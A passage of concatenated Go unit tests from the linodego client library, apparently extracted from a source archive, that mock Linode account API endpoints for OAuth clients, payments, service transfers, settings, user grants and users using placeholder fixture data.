"github.com/stretchr/testify/assert" ) func TestAccountOauthClient_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_oauth_client_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/oauth-clients", fixtureData) oauthClients, err := base.Client.ListOAuthClients(context.Background(), &linodego.ListOptions{}) assert.NoError(t, err) // Assertions on the returned data assert.Len(t, oauthClients, 1, "Expected one OAuth client") client := oauthClients[0] assert.Equal(t, "2737bf16b39ab5d7b4a1", client.ID, "Unexpected ID") assert.Equal(t, "Test_Client_1", client.Label, "Unexpected Label") assert.False(t, client.Public, "Unexpected Public value") assert.Equal(t, "https://example.org/oauth/callback", client.RedirectURI, "Unexpected Redirect URI") assert.Equal(t, linodego.OAuthClientStatus("active"), client.Status, "Unexpected Status") assert.Equal(t, "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail", *client.ThumbnailURL, "Unexpected Thumbnail URL") } func TestAccountOauthClient_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_oauth_client_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) clientID := "2737bf16b39ab5d7b4a1" base.MockGet(fmt.Sprintf("account/oauth-clients/%s", clientID), fixtureData) oauthClient, err := base.Client.GetOAuthClient(context.Background(), clientID) assert.NoError(t, err) // Assertions on the returned data assert.Equal(t, "2737bf16b39ab5d7b4a1", oauthClient.ID, "Unexpected ID") assert.Equal(t, "Test_Client_1", oauthClient.Label, "Unexpected Label") assert.False(t, oauthClient.Public, "Unexpected Public value") assert.Equal(t, "https://example.org/oauth/callback", oauthClient.RedirectURI, "Unexpected Redirect URI") assert.Equal(t, linodego.OAuthClientStatus("active"), oauthClient.Status, "Unexpected Status") assert.Equal(t, "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail", *oauthClient.ThumbnailURL, "Unexpected Thumbnail URL") } func TestAccountOauthClient_Create(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_oauth_client_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.OAuthClientCreateOptions{ Label: "Test_Client_1", RedirectURI: "https://example.org/oauth/callback", } base.MockPost("account/oauth-clients", fixtureData) oauthClient, err := base.Client.CreateOAuthClient(context.Background(), requestData) assert.NoError(t, err) // Assertions on the returned data assert.Equal(t, "2737bf16b39ab5d7b4a1", oauthClient.ID, "Unexpected ID") assert.Equal(t, "Test_Client_1", oauthClient.Label, "Unexpected Label") assert.False(t, oauthClient.Public, "Unexpected Public value") assert.Equal(t, "https://example.org/oauth/callback", oauthClient.RedirectURI, "Unexpected Redirect URI") assert.Equal(t, linodego.OAuthClientStatus("active"), oauthClient.Status, "Unexpected Status") assert.Equal(t, "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail", *oauthClient.ThumbnailURL, "Unexpected Thumbnail URL") } func TestAccountOauthClient_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_oauth_client_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.OAuthClientUpdateOptions{ Label: "Test_Client_1_Updated", RedirectURI: "https://example_updated.org/oauth/callback", Public: true, } clientID := "2737bf16b39ab5d7b4a1" base.MockPut(fmt.Sprintf("account/oauth-clients/%s", clientID), fixtureData) oauthClient, err := base.Client.UpdateOAuthClient(context.Background(), clientID, requestData) assert.NoError(t, err) // Assertions on the updated data assert.Equal(t, "2737bf16b39ab5d7b4a1", oauthClient.ID, "Unexpected ID") assert.Equal(t, "Test_Client_1_Updated", oauthClient.Label, "Unexpected Label") assert.True(t, oauthClient.Public, "Unexpected Public value") assert.Equal(t, "https://example_updated.org/oauth/callback", oauthClient.RedirectURI, "Unexpected Redirect URI") assert.Equal(t, linodego.OAuthClientStatus("active"), oauthClient.Status, "Unexpected Status") assert.Equal(t, "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail", *oauthClient.ThumbnailURL, "Unexpected Thumbnail URL") } func TestAccountOauthClient_Delete(t *testing.T) { client := createMockClient(t) clientID := "2737bf16b39ab5d7b4a1" httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, fmt.Sprintf("account/oauth-clients/%s", clientID)), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteOAuthClient(context.Background(), clientID); err != nil { t.Fatal(err) } } func TestAccountOauthClient_Reset(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_oauth_client_reset") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) clientID := "2737bf16b39ab5d7b4a1" base.MockPost(fmt.Sprintf("account/oauth-clients/%s/reset-secret", clientID), fixtureData) oauthClient, err := base.Client.ResetOAuthClientSecret(context.Background(), clientID) assert.NoError(t, err) assert.Equal(t, "2737bf16b39ab5d7b4a1", oauthClient.ID, "Unexpected ID") assert.Equal(t, "Test_Client_1", oauthClient.Label, "Unexpected Label") assert.False(t, oauthClient.Public, "Unexpected Public value") assert.Equal(t, "https://example.org/oauth/callback", oauthClient.RedirectURI, "Unexpected Redirect URI") assert.Equal(t, linodego.OAuthClientStatus("active"), oauthClient.Status, "Unexpected Status") assert.Equal(t, "https://api.linode.com/v4/account/clients/2737bf16b39ab5d7b4a1/thumbnail", *oauthClient.ThumbnailURL, "Unexpected Thumbnail URL") assert.Equal(t, "", oauthClient.Secret, "Secret should have been reset") assert.NotEmpty(t, oauthClient.Secret, "Secret should not be empty after reset") } golang-github-linode-linodego-1.47.0/test/unit/account_payment_methods_test.go000066400000000000000000000051611474652371000276540ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountPaymentMethods_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_payment_methods_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/payment-methods/123", fixtureData) pm, err := base.Client.GetPaymentMethod(context.Background(), 123) assert.NoError(t, err) assert.Equal(t, 123, pm.ID) assert.Equal(t, true, pm.IsDefault) assert.Equal(t, "credit_card", pm.Type) assert.Equal(t, linodego.PaymentMethodDataCreditCard{ CardType: "Discover", Expiry: "06/2022", LastFour: "1234", }, pm.Data) } func TestAccountPaymentMethods_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_payment_methods_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/payment-methods", fixtureData) methods, err := base.Client.ListPaymentMethods(context.Background(), nil) assert.NoError(t, err) assert.Equal(t, 1, len(methods)) pm := methods[0] assert.Equal(t, 123, pm.ID) assert.Equal(t, true, pm.IsDefault) assert.Equal(t, "credit_card", pm.Type) assert.Equal(t, linodego.PaymentMethodDataCreditCard{ CardType: "Discover", Expiry: "06/2022", LastFour: "1234", }, pm.Data) } func TestAccountPaymentMethods_Add(t *testing.T) { client := createMockClient(t) card := linodego.PaymentMethodCreateOptionsData{ CardNumber: "1234123412341234", CVV: "123", ExpiryMonth: 3, ExpiryYear: 2028, } requestData := linodego.PaymentMethodCreateOptions{ Data: &card, IsDefault: true, Type: "credit_card", } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "account/payment-methods"), mockRequestBodyValidate(t, requestData, nil)) if err := client.AddPaymentMethod(context.Background(), requestData); err != nil { t.Fatal(err) } } func TestAccountPaymentMethods_Delete(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "account/payment-methods/123"), httpmock.NewStringResponder(200, "{}")) if err := client.DeletePaymentMethod(context.Background(), 123); err != nil { t.Fatal(err) } } func TestAccountPaymentMethods_SetDefault(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "account/payment-methods/123"), httpmock.NewStringResponder(200, "{}")) if err := client.SetDefaultPaymentMethod(context.Background(), 123); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/account_payments_test.go000066400000000000000000000013151474652371000263110ustar00rootroot00000000000000package unit import ( "context" "encoding/json" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountPayments_Create(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_payment_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("account/payments", fixtureData) requestData := linodego.PaymentCreateOptions{ CVV: "123", USD: json.Number("120.50"), } payment, err := base.Client.CreatePayment(context.Background(), requestData) if err != nil { t.Fatalf("Error creating payment: %v", err) } assert.Equal(t, 123, payment.ID) assert.Equal(t, json.Number("120.50"), payment.USD) } golang-github-linode-linodego-1.47.0/test/unit/account_promo_credits_test.go000066400000000000000000000022071474652371000273230ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountPromoCredits_Add(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_promo_credits_add_promo_code") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockPost("account/promo-codes", fixtureData) requestData := linodego.PromoCodeCreateOptions{ PromoCode: "supercoolpromocode", } promoCode, err := base.Client.AddPromoCode(context.Background(), requestData) if err != nil { t.Fatalf("Error adding promo code: %v", err) } assert.Equal(t, "10.00", promoCode.CreditMonthlyCap) assert.Equal(t, "50.00", promoCode.CreditRemaining) assert.Equal(t, "Receive up to $10 off your services every month for 6 months! Unused credits will expire once this promotion period ends.", promoCode.Description) assert.Equal(t, "https://linode.com/10_a_month_promotion.svg", promoCode.ImageURL) assert.Equal(t, "all", promoCode.ServiceType) assert.Equal(t, "$10 off your Linode a month!", promoCode.Summary) assert.Equal(t, "10.00", promoCode.ThisMonthCreditRemaining) } golang-github-linode-linodego-1.47.0/test/unit/account_service_transfer_test.go000066400000000000000000000101071474652371000300140ustar00rootroot00000000000000package unit import ( "context" "testing" "time" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountServiceTransfer_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_service_transfers_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/service-transfers", fixtureData) transfers, err := base.Client.ListAccountServiceTransfer(context.Background(), nil) assert.NoError(t, err) assert.Equal(t, 1, len(transfers)) ast := transfers[0] assert.Equal(t, time.Time(time.Date(2021, time.February, 11, 16, 37, 3, 0, time.UTC)), *ast.Created) assert.Equal(t, time.Time(time.Date(2021, time.February, 12, 16, 37, 3, 0, time.UTC)), *ast.Expiry) assert.Equal(t, time.Time(time.Date(2021, time.February, 11, 16, 37, 3, 0, time.UTC)), *ast.Updated) assert.Equal(t, 111, ast.Entities.Linodes[0]) assert.Equal(t, 222, ast.Entities.Linodes[1]) assert.Equal(t, true, ast.IsSender) assert.Equal(t, linodego.AccountServiceTransferStatus("pending"), ast.Status) assert.Equal(t, "123E4567-E89B-12D3-A456-426614174000", ast.Token) } func TestAccountServiceTransfer_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_service_transfers_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/service-transfers/123E4567-E89B-12D3-A456-426614174000", fixtureData) ast, err := base.Client.GetAccountServiceTransfer(context.Background(), "123E4567-E89B-12D3-A456-426614174000") assert.NoError(t, err) assert.Equal(t, time.Time(time.Date(2021, time.February, 11, 16, 37, 3, 0, time.UTC)), *ast.Created) assert.Equal(t, time.Time(time.Date(2021, time.February, 12, 16, 37, 3, 0, time.UTC)), *ast.Expiry) assert.Equal(t, time.Time(time.Date(2021, time.February, 11, 16, 37, 3, 0, time.UTC)), *ast.Updated) assert.Equal(t, 111, ast.Entities.Linodes[0]) assert.Equal(t, 222, ast.Entities.Linodes[1]) assert.Equal(t, true, ast.IsSender) assert.Equal(t, linodego.AccountServiceTransferStatus("pending"), ast.Status) assert.Equal(t, "123E4567-E89B-12D3-A456-426614174000", ast.Token) } func TestAccountServiceTransfer_Request(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_service_transfers_request") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.AccountServiceTransferRequestOptions{ Entities: linodego.AccountServiceTransferEntity{ Linodes: []int{111, 222}, }, } base.MockPost("account/service-transfers", fixtureData) ast, err := base.Client.RequestAccountServiceTransfer(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, time.Time(time.Date(2021, time.February, 11, 16, 37, 3, 0, time.UTC)), *ast.Created) assert.Equal(t, time.Time(time.Date(2021, time.February, 12, 16, 37, 3, 0, time.UTC)), *ast.Expiry) assert.Equal(t, time.Time(time.Date(2021, time.February, 11, 16, 37, 3, 0, time.UTC)), *ast.Updated) assert.Equal(t, 111, ast.Entities.Linodes[0]) assert.Equal(t, 222, ast.Entities.Linodes[1]) assert.Equal(t, true, ast.IsSender) assert.Equal(t, linodego.AccountServiceTransferStatus("pending"), ast.Status) assert.Equal(t, "123E4567-E89B-12D3-A456-426614174000", ast.Token) } func TestAccountServiceTransfer_Accept(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "account/service-transfers/123E4567-E89B-12D3-A456-426614174000/accept"), httpmock.NewStringResponder(200, "{}")) if err := client.AcceptAccountServiceTransfer(context.Background(), "123E4567-E89B-12D3-A456-426614174000"); err != nil { t.Fatal(err) } } func TestAccountServiceTransfer_Cancel(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "account/service-transfers/123E4567-E89B-12D3-A456-426614174000"), httpmock.NewStringResponder(200, "{}")) if err := client.CancelAccountServiceTransfer(context.Background(), "123E4567-E89B-12D3-A456-426614174000"); err != nil { t.Fatal(err) } } golang-github-linode-linodego-1.47.0/test/unit/account_settings_test.go000066400000000000000000000040631474652371000263140ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) // Helper function to create *bool func Bool(value bool) *bool { return &value } func TestAccountSettings_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_settings_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/settings", fixtureData) accountSettings, err := base.Client.GetAccountSettings(context.Background()) assert.NoError(t, err) assert.NotNil(t, accountSettings, "Account settings should not be nil") assert.False(t, accountSettings.Managed, "Expected 'managed' to be false") assert.True(t, accountSettings.NetworkHelper, "Expected 'network_helper' to be true") assert.Nil(t, accountSettings.LongviewSubscription, "Expected 'longview_subscription' to be nil") assert.True(t, accountSettings.BackupsEnabled, "Expected 'backups_enabled' to be true") assert.Equal(t, "active", *accountSettings.ObjectStorage, "Expected 'object_storage' to be 'active'") } func TestAccountSettings_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_settings_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.AccountSettingsUpdateOptions{ BackupsEnabled: Bool(true), NetworkHelper: Bool(true), } base.MockPut("account/settings", fixtureData) accountSettings, err := base.Client.UpdateAccountSettings(context.Background(), requestData) assert.NoError(t, err) assert.NotNil(t, accountSettings, "Account settings should not be nil") assert.False(t, accountSettings.Managed, "Expected 'managed' to be false") assert.True(t, accountSettings.NetworkHelper, "Expected 'network_helper' to be true") assert.Nil(t, accountSettings.LongviewSubscription, "Expected 'longview_subscription' to be nil") assert.True(t, accountSettings.BackupsEnabled, "Expected 'backups_enabled' to be true") assert.Equal(t, "active", *accountSettings.ObjectStorage, "Expected 'object_storage' to be 'active'") } golang-github-linode-linodego-1.47.0/test/unit/account_test.go000066400000000000000000000074541474652371000244030ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccount_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account", fixtureData) accountInfo, err := base.Client.GetAccount(context.Background()) assert.NoError(t, err) assert.Equal(t, "John", accountInfo.FirstName) assert.Equal(t, "Smith", accountInfo.LastName) assert.Equal(t, "john.smith@linode.com", accountInfo.Email) assert.Equal(t, "Linode LLC", accountInfo.Company) assert.Equal(t, "123 Main Street", accountInfo.Address1) assert.Equal(t, "Suite A", accountInfo.Address2) assert.Equal(t, float32(200), accountInfo.Balance) assert.Equal(t, float32(145), accountInfo.BalanceUninvoiced) assert.Equal(t, "19102-1234", accountInfo.Zip) assert.Equal(t, "US", accountInfo.Country) assert.Equal(t, "ATU99999999", accountInfo.TaxID) assert.Equal(t, "215-555-1212", accountInfo.Phone) if accountInfo.CreditCard != nil { assert.Equal(t, "11/2022", accountInfo.CreditCard.Expiry) assert.Equal(t, "1111", accountInfo.CreditCard.LastFour) } assert.Equal(t, "E1AF5EEC-526F-487D-B317EBEB34C87D71", accountInfo.EUUID) assert.Equal(t, "akamai", accountInfo.BillingSource) assert.Equal(t, []string{"Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Placement Groups", "Block Storage Encryption"}, accountInfo.Capabilities) assert.Equal(t, "Philadelphia", accountInfo.City) assert.Equal(t, "PA", accountInfo.State) assert.Equal(t, "10.00", accountInfo.ActivePromotions[0].CreditMonthlyCap) assert.Equal(t, "50.00", accountInfo.ActivePromotions[0].CreditRemaining) assert.Equal(t, "Receive up to $10 off your services every month for 6 months! Unused credits will expire once this promotion period ends.", accountInfo.ActivePromotions[0].Description) assert.Equal(t, "https://linode.com/10_a_month_promotion.svg", accountInfo.ActivePromotions[0].ImageURL) assert.Equal(t, "all", accountInfo.ActivePromotions[0].ServiceType) assert.Equal(t, "$10 off your Linode a month!", accountInfo.ActivePromotions[0].Summary) assert.Equal(t, "10.00", accountInfo.ActivePromotions[0].ThisMonthCreditRemaining) } func TestAccount_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.AccountUpdateOptions{ City: "Cambridge", State: "MA", } base.MockPut("account", fixtureData) accountInfo, err := base.Client.UpdateAccount(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, "John", accountInfo.FirstName) assert.Equal(t, "Smith", accountInfo.LastName) assert.Equal(t, "john.smith@linode.com", accountInfo.Email) assert.Equal(t, "Linode LLC", accountInfo.Company) assert.Equal(t, "123 Main Street", accountInfo.Address1) assert.Equal(t, "Suite A", accountInfo.Address2) assert.Equal(t, float32(200), accountInfo.Balance) assert.Equal(t, float32(145), accountInfo.BalanceUninvoiced) assert.Equal(t, "19102-1234", accountInfo.Zip) assert.Equal(t, "US", accountInfo.Country) assert.Equal(t, "ATU99999999", accountInfo.TaxID) assert.Equal(t, "215-555-1212", accountInfo.Phone) if accountInfo.CreditCard != nil { assert.Equal(t, "11/2022", accountInfo.CreditCard.Expiry) assert.Equal(t, "1111", accountInfo.CreditCard.LastFour) } assert.Equal(t, "E1AF5EEC-526F-487D-B317EBEB34C87D71", accountInfo.EUUID) assert.Equal(t, "akamai", accountInfo.BillingSource) assert.Equal(t, []string{"Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Placement Groups", "Block Storage Encryption"}, accountInfo.Capabilities) assert.Equal(t, "Cambridge", accountInfo.City) assert.Equal(t, "MA", accountInfo.State) } golang-github-linode-linodego-1.47.0/test/unit/account_transfer_test.go000066400000000000000000000015311474652371000262750ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/stretchr/testify/assert" ) func TestAccount_getTransfer(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_transfer_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/transfer", fixtureData) transferInfo, err := base.Client.GetAccountTransfer(context.Background()) assert.NoError(t, err) assert.Equal(t, 0, transferInfo.Billable) assert.Equal(t, 9141, transferInfo.Quota) assert.Equal(t, 2, transferInfo.Used) assert.Len(t, transferInfo.RegionTransfers, 1) assert.Equal(t, "us-east", transferInfo.RegionTransfers[0].ID) assert.Equal(t, 0, transferInfo.RegionTransfers[0].Billable) assert.Equal(t, 5010, transferInfo.RegionTransfers[0].Quota) assert.Equal(t, 1, transferInfo.RegionTransfers[0].Used) } golang-github-linode-linodego-1.47.0/test/unit/account_user_grants_test.go000066400000000000000000000156611474652371000270160ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountUserGrants_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_user_grants_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/users/example-user/grants", fixtureData) grants, err := base.Client.GetUserGrants(context.Background(), "example-user") if err != nil { t.Fatalf("Error getting grants: %v", err) } assert.Equal(t, 123, grants.Database[0].ID) assert.Equal(t, "example-entity", grants.Database[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Database[0].Permissions) assert.Equal(t, 123, grants.Domain[0].ID) assert.Equal(t, "example-entity", grants.Domain[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Domain[0].Permissions) assert.Equal(t, 123, grants.Firewall[0].ID) assert.Equal(t, "example-entity", grants.Firewall[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Firewall[0].Permissions) assert.Equal(t, 123, grants.Image[0].ID) assert.Equal(t, "example-entity", grants.Image[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Image[0].Permissions) assert.Equal(t, 123, grants.Linode[0].ID) assert.Equal(t, "example-entity", grants.Linode[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Linode[0].Permissions) assert.Equal(t, 123, grants.Longview[0].ID) assert.Equal(t, "example-entity", grants.Longview[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Longview[0].Permissions) assert.Equal(t, 123, grants.NodeBalancer[0].ID) assert.Equal(t, "example-entity", grants.NodeBalancer[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.NodeBalancer[0].Permissions) assert.Equal(t, 123, grants.PlacementGroup[0].ID) assert.Equal(t, "example-entity", grants.PlacementGroup[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.PlacementGroup[0].Permissions) assert.Equal(t, 123, grants.StackScript[0].ID) assert.Equal(t, "example-entity", grants.StackScript[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.StackScript[0].Permissions) assert.Equal(t, 123, grants.Volume[0].ID) assert.Equal(t, "example-entity", grants.Volume[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Volume[0].Permissions) assert.Equal(t, 123, grants.VPC[0].ID) assert.Equal(t, "example-entity", grants.VPC[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.VPC[0].Permissions) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), *grants.Global.AccountAccess) assert.Equal(t, true, grants.Global.AddDatabases) assert.Equal(t, true, grants.Global.AddDomains) assert.Equal(t, true, grants.Global.AddFirewalls) assert.Equal(t, true, grants.Global.AddImages) assert.Equal(t, true, grants.Global.AddLinodes) assert.Equal(t, true, grants.Global.AddLongview) assert.Equal(t, true, grants.Global.AddNodeBalancers) assert.Equal(t, true, grants.Global.AddPlacementGroups) assert.Equal(t, true, grants.Global.AddStackScripts) assert.Equal(t, true, grants.Global.AddVolumes) assert.Equal(t, true, grants.Global.AddVPCs) assert.Equal(t, false, grants.Global.CancelAccount) assert.Equal(t, true, grants.Global.ChildAccountAccess) assert.Equal(t, true, grants.Global.LongviewSubscription) } func TestAccountGrants_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_user_grants_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) globalGrants := linodego.GlobalUserGrants{ AccountAccess: nil, } requestData := linodego.UserGrantsUpdateOptions{ Global: globalGrants, } base.MockPut("account/users/example-user/grants", fixtureData) grants, err := base.Client.UpdateUserGrants(context.Background(), "example-user", requestData) assert.NoError(t, err) assert.Equal(t, 123, grants.Database[0].ID) assert.Equal(t, "example-entity", grants.Database[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Database[0].Permissions) assert.Equal(t, 123, grants.Domain[0].ID) assert.Equal(t, "example-entity", grants.Domain[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Domain[0].Permissions) assert.Equal(t, 123, grants.Firewall[0].ID) assert.Equal(t, "example-entity", grants.Firewall[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Firewall[0].Permissions) assert.Equal(t, 123, grants.Image[0].ID) assert.Equal(t, "example-entity", grants.Image[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Image[0].Permissions) assert.Equal(t, 123, grants.Linode[0].ID) assert.Equal(t, "example-entity", grants.Linode[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Linode[0].Permissions) assert.Equal(t, 123, grants.Longview[0].ID) assert.Equal(t, "example-entity", grants.Longview[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Longview[0].Permissions) assert.Equal(t, 123, grants.NodeBalancer[0].ID) assert.Equal(t, "example-entity", grants.NodeBalancer[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.NodeBalancer[0].Permissions) assert.Equal(t, 123, grants.PlacementGroup[0].ID) assert.Equal(t, "example-entity", grants.PlacementGroup[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.PlacementGroup[0].Permissions) assert.Equal(t, 123, grants.StackScript[0].ID) assert.Equal(t, "example-entity", grants.StackScript[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.StackScript[0].Permissions) assert.Equal(t, 123, grants.Volume[0].ID) assert.Equal(t, "example-entity", grants.Volume[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.Volume[0].Permissions) assert.Equal(t, 123, grants.VPC[0].ID) assert.Equal(t, "example-entity", grants.VPC[0].Label) assert.Equal(t, linodego.GrantPermissionLevel("read_only"), grants.VPC[0].Permissions) assert.Equal(t, linodego.GrantPermissionLevel("read_write"), *grants.Global.AccountAccess) assert.Equal(t, true, grants.Global.AddDatabases) assert.Equal(t, true, grants.Global.AddDomains) assert.Equal(t, true, grants.Global.AddFirewalls) assert.Equal(t, true, grants.Global.AddImages) assert.Equal(t, true, grants.Global.AddLinodes) assert.Equal(t, true, grants.Global.AddLongview) assert.Equal(t, true, grants.Global.AddNodeBalancers) assert.Equal(t, true, grants.Global.AddPlacementGroups) assert.Equal(t, true, grants.Global.AddStackScripts) assert.Equal(t, true, grants.Global.AddVolumes) assert.Equal(t, true, grants.Global.AddVPCs) assert.Equal(t, false, grants.Global.CancelAccount) assert.Equal(t, true, grants.Global.ChildAccountAccess) assert.Equal(t, true, grants.Global.LongviewSubscription) } golang-github-linode-linodego-1.47.0/test/unit/account_users_test.go000066400000000000000000000070571474652371000256230ustar00rootroot00000000000000package unit import ( "context" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" "github.com/stretchr/testify/assert" ) func TestAccountUsers_List(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_users_list") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/users", fixtureData) users, err := base.Client.ListUsers(context.Background(), nil) if err != nil { t.Fatalf("Error listing users: %v", err) } assert.Equal(t, 1, len(users)) user := users[0] assert.Equal(t, "jperez@linode.com", user.Email) assert.Equal(t, true, user.Restricted) assert.Equal(t, []string{"home-pc", "laptop"}, user.SSHKeys) assert.Equal(t, true, user.TFAEnabled) assert.Equal(t, linodego.UserType("parent"), user.UserType) assert.Equal(t, "jsmith", user.Username) assert.Equal(t, "+5555555555", *user.VerifiedPhoneNumber) } func TestAccountUsers_Get(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_users_get") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) base.MockGet("account/users/jsmith", fixtureData) user, err := base.Client.GetUser(context.Background(), "jsmith") if err != nil { t.Fatalf("Error getting user: %v", err) } assert.Equal(t, "jperez@linode.com", user.Email) assert.Equal(t, true, user.Restricted) assert.Equal(t, []string{"home-pc", "laptop"}, user.SSHKeys) assert.Equal(t, true, user.TFAEnabled) assert.Equal(t, linodego.UserType("parent"), user.UserType) assert.Equal(t, "jsmith", user.Username) assert.Equal(t, "+5555555555", *user.VerifiedPhoneNumber) } func TestAccountUsers_Create(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_users_create") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) requestData := linodego.UserCreateOptions{ Username: "example_user", Email: "example_user@linode.com", Restricted: true, } base.MockPost("account/users", fixtureData) user, err := base.Client.CreateUser(context.Background(), requestData) assert.NoError(t, err) assert.Equal(t, "example_user@linode.com", user.Email) assert.Equal(t, true, user.Restricted) assert.Equal(t, []string{"home-pc", "laptop"}, user.SSHKeys) assert.Equal(t, true, user.TFAEnabled) assert.Equal(t, "example_user", user.Username) assert.Equal(t, "+5555555555", *user.VerifiedPhoneNumber) } func TestAccountUsers_Update(t *testing.T) { fixtureData, err := fixtures.GetFixture("account_users_update") assert.NoError(t, err) var base ClientBaseCase base.SetUp(t) defer base.TearDown(t) restricted := true requestData := linodego.UserUpdateOptions{ Username: "adevi", Email: "jkowalski@linode.com", Restricted: &restricted, } base.MockPut("account/users/adevi", 